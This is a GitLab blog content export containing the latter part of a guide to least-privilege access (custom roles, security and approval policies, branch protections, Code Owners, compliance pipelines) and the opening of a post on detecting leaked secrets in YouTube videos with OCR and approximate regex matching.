permissions](https://docs.gitlab.com/ee/development/permissions/custom_roles.html).\n\n### Implementation prerequisites\nThe requirements for implementing custom roles are as follows: \n- Owner role in the top-level group in which you are creating the custom role\n- Administrator for the self-managed instance in which you are creating the custom role\n- GitLab Ultimate tier in the top-level group\n- A [personal access token with the API scope](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token)\n\nTo see custom roles in action requires:\n- a private project within the top-level group or its subgroups\n- a guest user within the private project\n\nWhen you enable a custom role for a user with the Guest role, that user has access to elevated permissions, and therefore:\n- is considered a billable user on self-managed GitLab\n- uses a seat on GitLab.com\n\n### Creating the custom role with granular permissions\n\nNow that you know the benefits of implementing custom roles with granular permissions, let's implement them within our GitLab instance:\n\n1. On the left sidebar, select **Search or go to**.\n    - In GitLab SaaS find and select the top-level group in which you want to create a custom role.\n    - In GitLab Self-Managed find and select **Admin Area**.\n2. Select **Settings > Roles and Permissions**.\n    - In GitLab Self-Managed use the top dropdown list to find and select the top-level group in which you want to create a custom role.\n3. Select **Add new role**.\n4. Under Base role to use as a template, select **Guest** for this tutorial.\n5. Under Role name, enter the custom role’s title.\n6. Under Permissions for the custom role, select **Read Vulnerability** for this tutorial.\n7. Select **Create a new role**.\n\n![Create new role screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750099455072.png)\n\n\u003Ccenter>\u003Ci>Interface for creating a custom role\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nAfter creating the role you should be able to see the new custom role along with its ID, Base role, and Permissions. Be sure to save the ID as it will be used when we assign the custom role to a guest user.\n\n![Custom role screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099455073.png)\n\n\u003Ccenter>\u003Ci>Security Auditor role created\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nNow we must assign the custom role to a group or project member. This can be done as follows:\n1. Invite a user as a direct member with the Guest role to your top-level group where the custom role was created.\n2. You can invite them to a sub-group or private project within the top-level group as well.\n* The guest user should not be able to see any code within the project they have been assigned to.\n* Open your terminal.\n3. Export the required environment variables:\n* Your [personal access token with API scope](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token)\n\n```\n$ export TOKEN=glpat-XXXXXXXXXXXX\n$ echo $TOKEN\nglpat-XXXXXXXXXXXX\n\n```\n\n* The ID of the user we will be granting a custom role to. You can obtain the user id by providing the username to the [User API](https://docs.gitlab.com/ee/api/users.html#list-users). For more information on using the GitLab API, see the [REST API documentation](https://docs.gitlab.com/ee/api/rest/).\n\n```\n$ curl \"https://gitlab.example.com/api/v4/users?username=fjdiaz\"\n[{\"id\":4710074,\"username\":\"fjdiaz\",\"name\":\"Fern\",\"state\":\"active\",\"locked\":false,\"avatar_url\":\"https://gitlab.com/uploads/-/system/user/avatar/4710074/avatar.png\",\"web_url\":\"https://gitlab.com/fjdiaz\"}]\n\n$ export USER_ID=4710074\n$ echo $USER_ID\n4710074\n```\n\n* The ID of the custom role. You can obtain the custom role ID from the ID column in the [custom roles UI](https://docs.gitlab.com/ee/user/custom_roles.html#gitlab-saas) or the [member roles API](https://docs.gitlab.com/ee/api/member_roles.html#add-a-member-role-to-a-group).\n\n```\n$ export CUSTOM_ROLE_ID=1000782\n$ echo $CUSTOM_ROLE_ID\n1000782\n```\n\n* The ID of your group or project. You can obtain the group id from the [group UI](https://docs.gitlab.com/ee/user/group/#get-the-group-id) or using the [groups API](https://docs.gitlab.com/ee/api/groups.html). You can obtain the project ID from the [project UI](https://docs.gitlab.com/ee/user/project/working_with_projects.html#access-the-project-overview-page-by-using-the-project-id) or using the [projects API](https://docs.gitlab.com/ee/api/projects.html).\n\n```\n$ export GROUP_ID=10087220\n$ echo $GROUP_ID\n10087220\n\n$ export PROJECT_ID=45738177\n$ echo $PROJECT_ID\n45738177\n```\n\n4. Associate the guest user with the custom role using the appropriate [group or project APIs](https://docs.gitlab.com/ee/api/members.html#edit-a-member-of-a-group-or-project).\n\n* If the user just needs to role in a project, update the project membership:\n\n```\n\"Authorization: Bearer $TOKEN\" --data '{\"member_role_id\": $CUSTOM_ROLE_ID, \"access_level\": 10}' \"https://gitlab.example.com/api/v4/projects/$PROJECT_ID/members/$USER_ID\"\n```\n\n* If the user just needs to role in a group, update the group membership:\n\n```\n$ curl --request PUT --header \"Content-Type: application/json\" --header \"Authorization: Bearer $TOKEN\" --data '{\"member_role_id\": $CUSTOM_ROLE_ID, \"access_level\": 10}' \"https://gitlab.example.com/api/v4/groups/$GROUP_ID/members/$USER_ID\"\n```\n\nNow that the custom role has been applied to a guest user, when they login, they can see the Vulnerability dashboard present in the Secure tab. Notice, however, that they are still not allowed to see the source code. \n\nThis is useful because it allows users to audit the system without being able to make changes to the code base, which applies the PoLP for those auditing the system for vulnerabilities.\n\n## Security policies\nGitLab provides [security policies](https://docs.gitlab.com/ee/user/application_security/policies/) to help you achieve least privilege access. There are two different types of security policies provided by GitLab:\n- [Scan Execution policies](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html) allow project maintainers and administrators the confidence of knowing that the scans they set up have not been changed, altered, or disabled.\n- [Merge Request Approval policies](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) prevent insecure code from being merged into production without appropriate approval.\n\nSome examples of how both policy types can be used in unison to provide least privilege access are as follows:\n- remove the ability for developers to disable security scanners\n- remove the ability for developers to merge insecure code\n\nPolicies are stored in a separate repo from the project they are being applied to called the Security Policy Project (SPP). This allows for separate permissions to be set to the SPP vs. the application repo, thus strengthening your ability to separate duties and apply PoLP.\n\n![Security policy hierarchy](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image19_aHR0cHM6_1750099455074.png)\n\n\u003Ccenter>\u003Ci>Security policy hierarchy\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\nTo enforce the policies contained in an SPP you link it to a project, subgroup, group, or multiples of each. An SPP can contain multiple policies but they are enforced together. An SPP enforced on a group or subgroup applies to everything below the hierarchy, including all subgroups and their projects.\n\nSecurity policies can be managed via the policy management UI as well as via yaml. Using the policy editor you can create, edit, and delete policies.\n\n![Policy management interface](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image20_aHR0cHM6_1750099455076.png)\n\n\u003Ccenter>\u003Ci>Policy management interface\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\nFeel free to leverage the [Simple Notes demo environment](https://gitlab.com/gitlab-de/tutorials/security-and-governance/devsecops/simply-vulnerable-notes) to try this yourself by following the provided [DevSecOps tutorial](https://gitlab-de.gitlab.io/tutorials/security-and-governance/devsecops/simply-vulnerable-notes/).\n\n### Creating a Scan Execution policy\nNow let's take a look at how to create a Scan Execution policy. Before getting started make sure you have met the following criteria:\n- GitLab Ultimate tier in the top-level group\n- Owner role to create/assign an SPP\n- Developer role or greater to create/edit/delete individual security policies\n\nWe will be creating a policy that automatically runs a SAST scan with each pipeline, regardless of the SAST template is defined within the gitlab-ci.yml:\n\n1. On the left sidebar, select **Search or go to** and search for the project to which you wish to add a policy.\n2. On the project left sidebar, go to **Secure > Policies**.\n3. Select **New policy**.\n4.  In the **Scan Execution Policy** section, select **Select policy**.\n5. Complete the fields:\n    - **Name:** The name of the policy\n    - **Description:** The description of the Policy\n    - **Policy status:** Whether it is enabled or not\n    - **Actions:** What actions to take when the defined conditions are met\n\n![Scan Execution policy actions](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image15_aHR0cHM6_1750099455077.png)\n\n \u003Ccenter>\u003Ci>Scan Execution policy actions\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\n  - **Conditions:** Conditions which must be met (a pipeline is triggered or on a set schedule) in order for an action to take place.\n\n    ![Scan Execution policy conditions](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750099455078.png)\n \u003Ccenter>\u003Ci>Scan Execution policy conditions\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\n- Press the **Configure with a merge request** button.\n\nNow that the policy has been created, all we need to do is run a pipeline to see that SAST will be present even if it is not defined in the .gitlab-ci.yml.\n\n### Creating a Merge Request Approval policy\n\nNow let's take a look at how to create a Merge Request Approval policy. Before getting started make sure you have met the following criteria:\n- GitLab Ultimate tier in the top-level group\n- Owner role to create/assign an SPP\n- Developer role or greater to create/edit/delete individual security policies\n- Security scanners added to project\n\nWe will be creating a policy that requires approval from project maintainers if any security scanner detects a vulnerability when compared with any branch:\n\n1. On the left sidebar, select **Search or go to** and search for the project to which you wish to add a policy.\n2. On the project left sidebar, go to **Secure > Policies**\n3. Select **New policy**\n4. In the **Merge Request Approval policy** section, select **Select policy**.\n5. Complete the fields:\n    - **Name:** The name of the policy\n    - **Description:** The description of the policy\n    - **Policy status:** Whether it is enabled or not\n    - **Rules:** The conditions which must be met for an action (require approval) to take place.\n\n![Merge Request Approval policy rules](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image17_aHR0cHM6_1750099455079.png)\n\n\u003Ccenter>\u003Ci>Merge Request Approval policy rules\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\n   - **Actions:** The action to be taken whenever the conditions in the rules (defined vulnerabilities/licenses detected) are met.\n\n![Merge Request Approval  policy actions](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750099455080.png)\n\u003Ccenter>\u003Ci>Merge Request Approval  policy actions\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\n   - **Override project approval settings:** If selected, the following choices will overwrite project settings but only affect the branches selected in the policy.\n\n![Merge Request Approval policy approval settings](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image21_aHR0cHM6_1750099455081.png)\n\n\u003Ccenter>\u003Ci>Merge Request Approval policy approval settings\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\n6. Press the **Configure with a merge request** button.\n\nNow that the policy has been created, all we need to do is run a pipeline and if SAST detects any vulnerabilities then approvals will be required from the selected approver before the code change can be merged. Merge Request Approval policies can be used with all GitLab security scanners, including license scanning.\n\n![Merge Request Approval policies blocking code from being merged in an MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750099455082.png)\n\n\u003Ccenter>\u003Ci>Merge Request Approval policies blocking code from being merged in an MR\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\n## Branch protections and Code Owners\n[Branch protections](https://docs.gitlab.com/ee/user/project/protected_branches.html) allow you to impose additional restrictions on particular branches within your repository. This further strengthens the PoLP for the interactions on a particular set of branches. \n\nFor example, a protected branch can control:\n- which users can merge into the branch\n- which users can push to the branch\n- if users can force push to the branch\n- if changes to files listed in the CODEOWNERS file can be pushed directly to the branch\n- which users can unprotect the branch\n\n### Applying branch protections\n\nBranch protections are available in all tiers and offerings of GitLab. Branch protections can be applied to a single project or a group of projects. You can apply branch protections for required roles to push and merge as follows:\n\n1. On the left sidebar, select **Search or go to** and find your project or group.\n2. Select **Settings > Repository**.\n3. Expand **Protected branches**.\n4. Select **Add protected branch**.\n    - For groups, from the **Branch** text box, type the branch name or a wildcard.\n    - For projects, from the **Branch** dropdown list, select the branch you want to protect.\n5. From the **Allowed to merge** list, select a role that can merge into this branch.\n6. From the **Allowed to push and merge** list, select a role that can push to this branch.\n7. Select **Protect**.\n\nYou should now see the protected branch added to the list.\n\n![Protected branches settings](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image14_aHR0cHM6_1750099455082.png)\n\n\u003Ccenter>\u003Ci>Protected branches settings\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\nThe Owner role is required to add branch protections to a group and the Maintainer role or greater is required to add branch protections to a project.\n\n### Code Owners\nIf you want to further limit what files developers can perform changes on, one of the best features to implement is [Code Owners](https://docs.gitlab.com/ee/user/project/codeowners/). Code Owners allows you to define who has the expertise for specific parts of your project’s codebase. Defining the owners of files and directories in Code Owners will:\n\n- require owners to approve changes as well as merge requests before they merge into a protected branch\n- identify owners by displaying the Code Owner names on the files and directories they own\n\nTo set up Code Owners, follow these steps:\n1. Create a CODEOWNERS file in your preferred location.\n2. Define some rules in the file following the Code Owners syntax reference. You can configure all eligible approvers' approval rules and require Code Owner approval on a protected branch.\n3. Commit your changes, and push them up to GitLab.\n\nNow, when looking at files, you can see who the Code Owners are for a particular file.\n\n![Code Owners displayed for file](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750099455083.png)\n\n\u003Ccenter>\u003Ci>Code Owners displayed for file\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\nIf you implement Code Owner approvals, then when creating a merge request, the Code Owners must approve before the code can be merged.\n\n![Code Owners approvals](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750099455084.png)\n\n\u003Ccenter>\u003Ci>Code Owners approvals\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\n### Additional approval settings\nThere are additional approval settings that can be applied before code can be committed with a merge request. These additional approval settings are as follows:\n- prevent approval by author\n- prevent approvals by users who add commits\n- prevent editing approval rules in merge requests\n- require user re-authentication (password or SAML) to approve\n\nAdditionally, whenever a commit is added, you can:\n- keep approvals\n- remove all approvals\n- remove approvals by Code Owners if their files changed\n\n![Additional Approval settings](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image12_aHR0cHM6_1750099455084.png)\n\n\u003Ccenter>\u003Ci>Additional Approval settings\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\nTo configure additional approval settings you can perform the following steps:\n1. On the left sidebar, select **Search or go to** and find your project.\n2. Select **Settings > Merge requests**.\n3. Scroll down to the **Merge request approvals** section.\n4. Under **Approval settings** select the approval settings you would like to apply.\n5. Press the **Save changes** button.\n\nThese can also be applied to your top-level group by performing the following steps:\n1. On the left sidebar, select **Search or go to** and find your top-level group.\n2. Select **Settings > General**.\n3. Expand the **Merge request approvals** section.\n4. Under **Approval settings** select the approval settings you would like to apply.\n5. Press the **Save changes** button.\n\nBy leveraging these approval settings you can make sure that code always obtains oversight by a person who was not involved in creating the code, thereby preventing a conflict of interest.\n\n## Compliance pipelines and frameworks\nYou can create a compliance framework that is a label to identify that your project has certain compliance requirements or needs additional oversight. The label can optionally enforce compliance pipeline configuration to the projects on which it is applied.\n\nFeel free to leverage the [Compliance Frameworks Demo](https://gitlab.com/gitlab-de/tutorials/security-and-governance/compliance-frameworks) group to see an example of compliance frameworks and their usage.\n\n### Create a compliance pipeline\nTo create a compliance pipeline, all you need to do is create a new project which will store a `.gitlab-ci.yml` file that we wish to use in another project. The new compliance pipeline project can have separate permissions from the project to which you will apply it. This is beneficial because it prevents developers from making changes to pipelines that must run.\n\nYou can see I have created the following [pipeline definition](https://gitlab.com/gitlab-de/tutorials/security-and-governance/compliance-frameworks) which:\n- runs the SAST security scanner\n- runs the secret detection scanner\n- runs a SOC2 compliance job\n- runs the original pipeline defined in the project to which we will apply this pipeline. This allows developers to focus on the actual application development and the compliance team to focus on defining the SOC2 rules.\n\n### Create and apply a compliance framework\nNow that the compliance pipeline for SOC2 has been defined, we must define a compliance framework and apply it to our project. In this case, I will apply it to my Accounting Department project.\n\nTo create a compliance framework label, follow these steps:\n1. On the left sidebar, select **Search or go to** and find your group.\n2. Select **Settings > General**.\n3. Expand the **Compliance frameworks** section.\n4. Click the **Add framework** button.\n5. Create a new compliance framework and populate the following sections:\n    - **Name:** The name of your compliance framework\n    - **Description:** A description of your compliance framework\n    - **Compliance pipeline configuration:** The location of the compliance pipeline to run. \n    - **Background color:** A color for the compliance framework label\n\n![PoLP - image 15](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750099455085.png)\n\n   \u003Ccenter>\u003Ci>Creating a compliance framework\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\n6. Press the **Add framework** button.\n\nAnd now you should see your newly added framework under active compliance frameworks.\n\n![Active compliance frameworks](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750099455085.png)\n\n\u003Ccenter>\u003Ci>Active compliance frameworks\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\nNow let’s go ahead and assign this compliance label to our Accounting Department project:\n\n1. On the left sidebar, select **Search or go to** and find your project.\n2. Select **Settings > General**.\n3. Expand **Compliance frameworks**.\n4. Select the compliance framework created above.\n\n![Adding a compliance framework](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750099455086.png)\n\n\u003Ccenter>\u003Ci>Adding a compliance framework\u003C/i>\u003C/center>\n\n5. Select **Save changes**.\n\nThe project should now have the compliance framework label applied. \n\n![Project running a compliance pipeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750099455086.png)\n\n\u003Ccenter>\u003Ci>Project running a compliance pipeline\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\nThis enables separation of duties and prevents compliance pipelines from being altered by those without permissions.\n\nSecurity Policy Scope and Pipeline Execution\nOver the past several releases, GitLab has introduced two experimental features, Security Policy Scope and Pipeline Execution, to make it even easier to adhere to PoLP. These features are very similar to Compliance Pipelines and Compliance Frameworks and can be managed from GitLab’s security policy UI.\n\n**Note:** These features are currently considered experimental. An experiment is a feature that is in the process of being developed. It is not production ready. We encourage users to try experimental features and provide feedback.\n\nThe [pipeline execution policy action](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html#pipeline-execution-policy-action) introduces a new scan action type into Scan Execution policies for creating and enforcing custom CI in your target development projects. You can execute a custom pipeline along with your current pipeline. This allows you to enforce compliance by always forcing particular actions to run that are not just security scanners and that cannot be overwritten by those without permissions.\n\n![Pipeline Execution policy scope selection](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image18_aHR0cHM6_1750099455087.png)\n\u003Ccenter>\u003Ci>Pipeline Execution policy scope selection - insert code block\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\n![Pipeline Execution policy scope selection](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099455/Blog/Content%20Images/Blog/Content%20Images/image13_aHR0cHM6_1750099455087.png)\n\u003Ccenter>\u003Ci>Pipeline Execution policy scope selection - link existing CI file\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\nThe [Security policy scope](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html#security-policy-scopes) can be applied to either Merge Request Approval or Scan Execution policies. Scopes enable you to administer policies with a particular scope, meaning you can:\n\n- Include only projects containing a compliance framework label\n- Include or exclude selected projects from enforcement\n\nTo enable these experimental features, follow these steps:\n1. On the left sidebar, select **Search or go to** and find your top-level group.\n2. Select **Settings > General**.\n3. Expand **Permissions and group features**.\n4. Scroll down to the **Security policy management** section.\n5. Select the following checkboxes\n**Security policy pipeline execution action:** Create and enforce custom CI jobs and scripts using this new policy action.\n6. **Security policy scopes:** Granularly scope each policy you create to projects containing a compliance framework label, or a list of projects.\n7. **Enforce for all subgroups (optional):** Subgroups cannot change these settings.\n8. Scroll down to the **Experiment and Beta features** section.\n9. Select the **Use Experiment and Beta features** checkbox.\n10. Scroll down and press the **Save changes** button.\n\nNow, whenever you are creating a security policy, the following options will be available:\n\n- Inserting a CI code block (Scan Execution policy only)\n- Loading CI/CD code from file (Scan Execution policy only)\n- Linking an existing CI file from another project (Scan Execution policy only)\n- Scoping a policy to projects with selected compliance framework (Group Level only)\n- Scoping a policy towards specific projects (Group Level only)\n- Scoping a policy towards all projects in group (Group Level only)\n\nTo learn more about these features, check out the following documentation:\n- [Pipeline Execution Policy action (Scan Execution policy)](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html#pipeline-execution-policy-action)\n- [Security Policy Scopes (Scan Execution policy)](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html#security-policy-scopes)\n- [Security Policy Scopes (Merge Request Approval policy)](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html#security-policy-scopes)\n\n## Additional resources\n\nThanks for reading! These are some of the ways that GitLab allows you to strengthen your organization's security posture through the enablement of PoLP. To learn more about GitLab and the other ways we can strengthen your organization's security throughout all parts of the SDLC, check out the following links:\n\n- [GitLab Security and Compliance](https://about.gitlab.com/solutions/security-compliance/)\n- [GitLab Application Security Documentation](https://docs.gitlab.com/ee/user/application_security/)\n- [GitLab DevSecOps Demo Project](https://gitlab.com/gitlab-de/tutorials/security-and-governance/devsecops/simply-vulnerable-notes)\n- [GitLab DevSecOps Tutorial](https://gitlab-de.gitlab.io/tutorials/security-and-governance/devsecops/simply-vulnerable-notes/)\n- [GitLab Roles and Permissions Documentation](https://docs.gitlab.com/ee/user/permissions.html)\n- [GitLab Custom Roles Documentation](https://docs.gitlab.com/ee/user/custom_roles.html)\n- [GitLab Security Policies Documentation](https://docs.gitlab.com/ee/user/application_security/policies/)\n- [GitLab Compliance Frameworks Documentation](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html)\n- [GitLab Code Owners Documentation](https://docs.gitlab.com/ee/user/project/codeowners/)\n- [GitLab Branch Protections Documentation](https://docs.gitlab.com/ee/user/project/protected_branches.html)",[2132,696,14,715],{"slug":2327,"featured":92,"template":677},"the-ultimate-guide-to-least-privilege-access-with-gitlab","content:en-us:blog:the-ultimate-guide-to-least-privilege-access-with-gitlab.yml","The Ultimate Guide To Least Privilege Access With Gitlab","en-us/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab.yml","en-us/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab",{"_path":2333,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2334,"content":2340,"config":2346,"_id":2348,"_type":16,"title":2349,"_source":17,"_file":2350,"_stem":2351,"_extension":20},"/en-us/blog/how-to-detecting-secrets-in-video",{"title":2335,"description":2336,"ogTitle":2335,"ogDescription":2336,"noIndex":6,"ogImage":2337,"ogUrl":2338,"ogSiteName":767,"ogType":768,"canonicalUrls":2338,"schema":2339},"How-to: Detecting secrets in video content ","GitLab’s Security team identifies and mitigates security risks in video content by searching for API keys or other sensitive tokens. Here's how we do it (with an assist from AI) and how you can, too.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099421/Blog/Hero%20Images/Blog/Hero%20Images/security-checklist_security-checklist.png_1750099421443.png","https://about.gitlab.com/blog/how-to-detecting-secrets-in-video-content","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How-to: Detecting secrets in video content \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dennis Appelt\"}],\n        \"datePublished\": \"2024-02-29\",\n      }",{"title":2335,"description":2336,"authors":2341,"heroImage":2337,"date":2343,"body":2344,"category":14,"tags":2345},[2342],"Dennis Appelt","2024-02-29","Today, we are open-sourcing our [solution for detecting secrets in video content]( https://gitlab.com/gitlab-com/gl-security/security-research/video-scanner/youtube-video-scanner). We use it internally to search videos published on our [GitLab Unfiltered YouTube channel](https://www.youtube.com/@GitLabUnfiltered) for [secrets](https://docs.gitlab.com/ee/security/token_overview.html) such as API keys and other sensitive tokens.\n\nWhile there are existing tools for secret detection, we did not find a tool that quite fit the bill for our use case, so we decided to implement a custom scanner. In this blog post, we'll walk through our general approach, some of the challenges we encountered, and our solution. We'll also discuss how GitLab’s new AI assistant, [GitLab Duo Chat](https://about.gitlab.com/gitlab-duo/), helped with the implementation of the scanner.\n\n## Scanning videos, one frame at a time\n\nOur general approach to secret detection in videos is quite simple: Split the video into frames, run optical character recognition (OCR) over each frame, and match the resulting text against known [secret patterns](https://docs.gitlab.com/ee/security/token_overview.html). If a secret is found, a [security incident](https://handbook.gitlab.com/handbook/security/security-operations/sirt/engaging-security-on-call/#engage-the-security-engineer-on-call) is kicked off to investigate the leak and revoke exposed secrets.\n\nTo implement this approach, we first experimented using [FFmpeg](https://ffmpeg.org//) for splitting the video into frames and feeding the frames to [Tesseract](https://github.com/tesseract-ocr/tesseract), an open-source engine for OCR. This worked quite well and gave us confidence that the general approach was feasible. However, we decided to switch to [Google Cloud Platform's Video Intelligence API](https://cloud.google.com/video-intelligence/docs/) for the frame splitting and OCR for the simple reason of not having to scale and maintain our own implementation.\n\nFFmpeg and Tesseract are good options if third-party APIs cannot be used or if more control over the process is required. For example, if the secrets are only exposed for a brief moment in the video, using FFmpeg allows you to increase the frame sampling rate to analyze more frames per second and increases the chances of catching the frame that exposes the secret. The Video Intelligence API does not provide a comparable level of control. \n\nThe choice between the Video Intelligence API and FFmpeg + Tesseract also depends on the data set that has to be analyzed. The Video Intelligence API works well on our data set, which makes the additional complexity of a custom implementation based on FFmpeg + Tesseract hard to justify. After settling for the Video Intelligence API, it was a natural choice to host the rest of the scanner on GCP as well. The below diagram gives an overview of the design:\n\n![video content scanners - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099431/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750099431138.png)\n\nThe scanner is implemented as a collection of cloud functions running on GCP. The cloud function `WebSub API` implements the WebSub [spec](https://www.w3.org/TR/websub/), which is used by YouTube to deliver notifications. Notifications of new videos are published to a PubSub topic, which the cloud function `Video Fetcher` is subscribed to. If a message is received, the video is downloaded and submitted for OCR to the Video Intelligence API. The resulting text extract is checked for secrets by the `Secret Matcher` and alerts are created in case a secret is found.\n\n## Accounting for inaccuracies in OCR\n\nThe described approach sounds simple enough, but as with most things, the devil is in the details. When comparing the video scanner to other secret scanning methods, a notable difference is how the video scanner determines if a given string literal is a secret. Secret detection tools usually determine if the given text contains a secret by matching the text against a list of regular expressions, each defining the format of a secret. If there is a match, a secret is detected.\n\n![video content scanners - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099431/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099431139.png)\n\n\u003Ccenter>\u003Ci>A video frame showing a GitLab access token\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\nWhen it comes to video scanning, this approach has limited effectiveness due to the OCR step. In some instances, the recognized text does not quite match the text displayed in the video. For example, the above video frame shows the access token `glpat-HseyLLLE92Ubso2vyVeD` and OCR extracted the text `glpat-HseyLLLE92Ubso2vyVe\\`. The last character of the secret is `D`, but OCR extracted a backslash ( `\\`). This error causes the extracted text to no longer match the format of GitLab personal access tokens; therefore, simply matching the text against a regular expression conforming to the token format would have not detected the leaked access token.\n\nTo account for the inaccuracies that are introduced by the OCR step, the video scanner uses approximate regular expression matching where a string is not required to match a regular expression exactly, but small deviations in the strings are allowed. These deviations are expressed as string edit distance and define how many characters in the string need to be inserted, deleted, or substituted to make the string match a given regular expression. For example, the string edit distance for the previous example is 1 because the erroneously detected backslash has to be substituted with an alphanumeric character or a minus sign to make the string match the GitLab personal access token format.\n\nFinding the right value for the maximum edit distance for a string to still be considered to match a regular expression depends on the data set and requires some experimentation. If the value is too low, secrets might be missed and if the value is too high, strings that are not secrets will be matched. To find the right balance for our use case, we collected a data set of videos leaking secrets and ran them through our scanner pipeline. We measured precision (how many matches are not secrets) and recall (how many matches are relevant/true secrets) for different maximum edit distances. We collected this data for the two most relevant types of secrets: GitLab API access tokens and runner registration tokens. The below diagrams show the results.\n\nFor both types of secrets, the optimal maximum cost is 2, at which point a high precision and recall are achieved (97% precision and 91% recall for access tokens; 100% precision and 86% recall for runner registration tokens). Decreasing the maximum distance results in worse recall, while increasing the maximum cost leads to either no improvement (runner registration token) or adversely affects precision (access tokens).\n\n![video content scanner - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099431/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750099431141.png)\n\n\u003Cp>\u003C/p>\n\n![video content scanner - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099431/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099431143.png)\n\n## Implementation made easy using GitLab Duo Chat\n\nAfter some initial experimentation, it was clear to us that approximate regular expression matching can increase the detection accuracy of our video scanner. However, the implementation turned out not to be trivial. While the [algorithms for approximate regular expression matching](https://www.tgries.de/agrep/) have existed since the '90s, there is no widespread library support. [TRE](https://laurikari.net/tre/) is a solid choice but is written in C and thus requires bindings to be called from the scanner’s runtime environment (Node.js).\n\nTo reduce the development effort, we turned to [GitLab Duo Chat](https://about.gitlab.com/gitlab-duo/). After discussing our options with Duo Chat for calling C from Node.js, we settled on [implementing a C++ add-on](https://nodejs.org/docs/latest-v20.x/api/addons.html). We quickly iterated towards a working implementation, which would have undoubtedly taken considerably more time without the help of GitLab Duo Chat. Below is an excerpt from the chat session.\n\n> Me: Are you familiar with the C library TRE? Can you help me write a Node.js addon that is a wrapper for TRE?\n\n> Duo: Here is the template for wrapping the TRE library in a Node.js addon using N-API:\n>\n>![video content scanner - image 